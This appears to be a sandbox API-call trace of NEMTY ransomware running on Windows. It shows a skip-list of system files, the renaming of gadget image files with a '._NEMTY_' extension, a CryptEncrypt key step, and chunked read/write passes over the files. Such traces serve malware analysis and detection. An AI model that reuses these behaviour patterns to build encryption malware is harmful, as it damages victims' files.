0 [0142.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0142.563] CloseHandle (hObject=0xffffffff) returned 0 [0142.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0142.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0142.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_over.png._nemty_kgobjgd_")) returned 0 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.564] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ae6589, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ae6589, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2=".") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="..") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="...") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="windows") returned -1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="$RECYCLE.BIN") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="rsa") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="NTDETECT.COM") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="ntldr") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="MSDOS.SYS") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="IO.SYS") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="boot.ini") returned 1 [0142.564] lstrcmpiW (lpString1="timer_up.png", lpString2="boot.ini") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="AUTOEXEC.BAT") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="ntuser.dat") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="desktop.ini") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="CONFIG.SYS") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="RECYCLER") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="BOOTSECT.BAK") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="bootmgr") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="programdata") returned 1 [0142.565] lstrcmpiW (lpString1="timer_up.png", lpString2="appdata") returned 1 [0142.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_up.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0142.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_up.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_up.png", lpUsedDefaultChar=0x0) returned 12 [0142.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_up.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0142.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_up.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_up.png", lpUsedDefaultChar=0x0) returned 12 [0142.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_up.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0142.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_up.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_up.png", lpUsedDefaultChar=0x0) returned 12 [0142.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_up.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0142.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timer_up.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timer_up.png", lpUsedDefaultChar=0x0) returned 12 [0142.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0142.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0142.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0142.565] Sleep (dwMilliseconds=0x5) [0142.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x89f7ad0, dwHighDateTime=0x1d561e8)) [0142.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x89f7ad0, dwHighDateTime=0x1d561e8)) [0142.566] GetLastError () returned 0x5 [0142.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.566] GetLastError () returned 0x5 [0142.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0142.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0142.567] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0142.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0142.567] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="Hbt/vHlvvGDO23LRkisx6zPySaipJ/4RpKm4Zvgz4yzfGwOiSjfL3IPFQOcAeIaT\r\n4NUFNt9uM7O1JmJR6GOESwwlSFftKVa64CCT50zRnxptZC3nloZEkxpaZ+PR/bDO\r\nn23IZAhvwKJjCuzremwHEeraR2LFpbcpAIo/XVX338OHrFaFkluuN34px8iimhTJ\r\nfewTLASWv3/T8LS/UahBcoU6s3QLszMidLy1Qyuk+ccuo6oyvr6fpVHnFz27PZJ8\r\nhFivWLkqmBzx/K9mFUEDK/axq90n5t6kNBPPxVTXlJiaJcVMOoISE69xOrfXS0Eq\r\nllzKjvwe/nF5u2IRfuV7BQ==\r\n", pcchString=0x653e91c) returned 1 [0142.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0142.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0142.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0142.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0142.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0142.567] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.567] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0142.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0142.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.596] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.668] ReadFile 